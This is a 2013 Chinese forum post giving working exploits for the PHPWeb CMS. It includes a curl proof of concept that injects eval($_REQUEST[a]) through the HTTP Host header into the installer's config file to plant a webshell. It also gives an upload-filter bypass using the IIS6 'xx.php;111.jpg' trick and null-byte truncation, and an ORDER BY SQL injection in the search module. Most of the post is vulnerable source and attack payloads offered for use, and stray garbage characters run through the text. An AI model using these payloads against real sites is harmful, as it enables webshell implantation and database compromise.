找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2486|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:/ e# `8 e$ K- p2 x& @
/ W1 c9 u3 H5 l! {' L
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码: P5 [5 J7 ?% Y0 `2 t/ E
$ z9 v/ n  k' A1 E- a
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件6 a* E& i3 J4 D/ a1 ~0 j
鸡肋2: 有一定安全常识的站长都会删掉 install 目录: O  l4 r% o/ L

( F% O5 u2 b/ U, x* K4 u  A虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响- y5 D$ e8 f' H- U& V1 [
1 f# ?# H3 q$ F# e
分析:
3 ^5 i0 b* C+ H) G+ | 7 n- o- G1 p. m; V) k% v
8 B( y+ s/ @2 I+ W* _( f" X5 s
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤$ W# ~8 T/ w! @! Y. Q$ O

! _5 @2 s/ U6 m" I6 |( g9 G                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
  m4 j7 f2 _1 d$ s' _                                            $filestr=str_replace(" ","",$filestr);1 E" q! ^; N9 I8 [8 n0 h
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
9 J# M/ ]+ ]$ @                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);) R- b" m1 I5 |1 X: o8 G* q! p
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);* d$ b" e$ P1 r0 u4 A( e
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);2 e/ g$ f: s! }. Y" f
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);  G* k0 Q8 h# u/ N
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);0 E5 l% ?4 ^0 V2 S9 b/ j
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
1 q7 u4 ~. m8 h+ Q, z! o6 _ ; w- {1 ^* C: F# `2 A( a  e; [
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
7 f' |4 u6 U, `+ T8 l! e2 }  ~$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^6 w! Q7 t# e! p: E6 W( u+ a

& S/ w2 `+ f/ ^" A; J* Epoc:
  g! c9 c7 }+ l( z0 M" F. {5 r# p 6 Q/ n, ?. J' c9 f1 ?
?
- _3 c3 w1 X. g5 [" H# ^0 d1* |; w8 C( ^1 @6 V3 G4 i
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"+ O3 o# q: c& d4 \' k) M1 v* p2 ^
shell地址: /config.inc.php1 r5 E. p# Z. H+ [  Q, W
跟之前的 phpcms一样 需要远程数据库! \7 q( ~% P, C4 X/ S# B, W
9 B# |" d, k" U0 F+ J5 S
——————————————————–. q6 W* S' B! @. m4 V
上传漏洞(需要进后台):# B( L; q5 N: X. e8 |: H8 h# ^1 }
漏洞文件: /kedit/upload_cgi/upload.php. S. d( Q5 S0 E. z
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
: E* O$ Y$ @; r+ S) W8 J; n6 G $ u; E! U6 w1 t; V# h6 d

0 r; u( B* ?; n6 m<?php( n7 I6 y' X; W% G
    define("ROOTPATH", "../../");$ S, @' ?0 u4 i) _; \
    include(ROOTPATH."includes/admin.inc.php");
+ z: o3 a% s7 O- l, O+ w    NeedAuth(0);3 G' B& m) H; \0 w# {

8 S, ~: e! s0 k( L8 t' ~# F, Q, O    $dt=date("Ymd",time());
* i" R9 T  [. S+ w    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
% r2 B5 o# E9 j9 y9 |9 f, s            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
0 {' o, f9 I& R7 Y2 j" ?    }
7 U% g5 A0 D1 P, V2 x  I  J% b ; d1 v2 j: }+ h, ]3 q2 B; F: {
    //文件保存目录路径; c7 P+ ~0 F5 n# N
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
9 _* ?  [8 o/ y  Q; c% P2 h    echo $save_path;1 b8 u* \' X/ p* q: Y! E
    //文件保存目录URL" T6 ?0 P- j: N/ Q; U
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
4 j, E8 c  D7 y1 s* K
/ A- k' B; z0 j- I: k    //定义允许上传的文件扩展名3 T* R6 z! V: [
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
; ]' _: T$ z) ]4 M2 B4 W
8 Q' @4 k  o" }7 o    //最大文件大小
6 e" k0 @" I8 D" t. G( [9 N/ E2 h. d    $max_size = 1000000;: ?- l, @. g% c

8 B7 }6 ^; P3 ~% q    //更改目录权限
3 w, R  X" g, E0 F# l    @mkdir($save_path, 0777);
" F6 h4 W& _) j0 e  u
. p/ S1 G# S+ ~/ n3 Z3 Z( ^( L5 g    //文件的全部路径4 E3 w4 k, O$ s" l2 s* R7 f! `7 g, @
    $file_path = $save_path.$_POST['fileName'];   //保存文件名5 ?3 Z4 g) ?+ V4 w, @

0 t. m: `' p7 a- F5 w    //文件URL3 K% W) {4 A* q, _
    $file_url = $save_url.$_POST['fileName'];; W- K) u1 N/ D  C
//有上传文件时0 k; |4 ]% u3 R3 q. G
    if (empty($_FILES) === false) {% }" n* w, ^9 u5 k- o6 ~

2 u  s$ o0 b* z+ r5 F            //原文件名0 R6 r7 W% _( A; q+ E
            $file_name = $_FILES['fileData']['name'];
3 Y) ^8 Q7 F0 m            //服务器上临时文件名% r! W6 [: L: v
            $tmp_name = $_FILES['fileData']['tmp_name'];
. }, Q* o3 W2 ]8 [            //文件大小9 T! |- l$ t/ w+ i. [7 x0 J6 v
            $file_size = $_FILES['fileData']['size'];
6 f2 L& D' Q+ p9 T            //检查目录, u' g9 u4 d; ~- ~; S, R
            if (@is_dir($save_path) === false) {
0 e  p- v1 r7 x0 ?: X2 Y4 X                    alert("上传目录不存在。");
  Y/ v( x2 ^5 O. i1 W            }
5 W7 Y& m' q7 {/ Z! [            //检查目录写权限8 c: r; t- F  {
            if (@is_writable($save_path) === false) {" \( V! u% A% c! ]
                    alert("上传目录没有写权限。");; q: ^* J  j' ]8 ]
            }
/ s: l# R% x5 x$ a0 K* }/ j" L            //检查是否已上传$ `4 d- m2 p2 U3 l% n* v$ I: ^
            if (@is_uploaded_file($tmp_name) === false) {
( N+ W3 ~$ G( W5 f3 l                    alert("临时文件可能不是上传文件。");
' P4 ~8 w: w& r  ~! E! y. U  _$ @            }3 @" Y0 z3 L( J) q/ }* b' E
            //检查文件大小: p, {7 u) x9 a! O1 I# C
            if ($file_size > $max_size) {8 P; P3 i6 H- g; n- ]* a
                    alert("上传文件大小超过限制。");
9 K# J7 B6 H1 r7 v% Z- w            }4 b( u1 W# [3 d; X  b" ^
            //获得文件扩展名4 \3 }0 w- j1 [5 w+ [+ ?- q$ Q( C
            $temp_arr = explode(".", $_POST['fileName']);' ?4 V8 D- u0 f  D( ^
            $file_ext = array_pop($temp_arr);
5 t, V3 Q8 x3 u8 y            $file_ext = trim($file_ext);2 u/ m6 z, f* J+ g0 E% }
            $file_ext = strtolower($file_ext);8 l; k/ A4 V7 n' E5 h  m! h5 v

# }0 G5 j8 c' L+ ]+ W            //检查扩展名   
9 U; a, q. N9 q' M            if (in_array($file_ext, $ext_arr) === false) {     
2 {0 h  O0 V. M  e0 P- b                    alert("上传文件扩展名是不允许的扩展名。");5 G( z. u( Y- S9 V( {
            }+ L% j4 `; c9 m( E, c; [
. A! s7 U1 b! h2 i) T$ t
            //移动文件   
' c: M$ B/ U! S            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^3 Z9 u; e+ \" E# V0 v* z
            if (move_uploaded_file($tmp_name, $file_path) === false) {
8 R' [1 Q! o, }/ t/ A4 x7 i                    alert("上传文件失败。");
7 S7 \) e& c5 `9 H! u7 v            }
1 e: |8 J/ j1 Q; P2 R! w) V* O ; H/ M( E' M* h: s4 ?
            @chmod($file_path,0666);# I2 J, Q4 n4 H( s; s: U  Q3 `. G% h

$ o- {4 K4 X' x( K, j( e    ?>$ D6 r, ~) m# t7 O) ]. l
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
' N( \( |, V3 }( E# ~5 J : t4 p2 h4 ?9 v8 _' G; J; L+ b! @
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过8 m1 r- K7 c# D  j
# K0 |/ O. B! ~) h/ Z6 X
——————————————————. ?9 C; i0 ^0 L% F5 I
注入漏洞:
; _% u" T0 V: ?漏洞文件:search/module/search.php
# v& S) o& l. t. g* E: Z! d5 }/search/index.php?key=1&myord=1 [sqlinjection]
! R$ q% c, ^% h9 T* J$ g) }, g
% f  F' W& _) y3 B3 _2 [, U
" m" T2 ?4 y* }) U0 q, Y; P<?php  p, D6 y, {& q  \" l2 [
   //       ... 省略 n 行...+ x% a# X* j2 _7 d
   //第18行:
- F* w: u- C: n           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响) T+ O5 O4 f) y/ ]$ U( m' K) Y' z" g3 `: b
           $page=htmlspecialchars($_GET["page"]);3 A" ~& C7 K7 Z2 z1 M0 x
           $myord=htmlspecialchars($_GET["myord"]);
2 Y$ \" {: `. \% {5 p1 ] 9 q3 P( k  y3 o! `# E/ @5 ^
   //       ... 省略 n 行..." o! }' ^. C3 C6 ^
   $key,$myord 两个参数带入查询8 x! W' \' q7 r. j% |
   //第47行 $key:
" e. y7 v. c5 G# p5 b - A# N3 M+ D4 ]5 b/ r. G' N
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..% J$ A3 G' s2 Y/ Z. j5 z
; H& A8 d: M8 ^) \" _* j
   //第197行 $myord$ U" B5 F, m3 |9 M( Q3 p  n
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入5 N5 g* Z3 ~. L( ~/ v- l
! k* Y# M' M4 y8 v1 X
   ?>
& j5 z) ?. {6 I) I$ z; @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表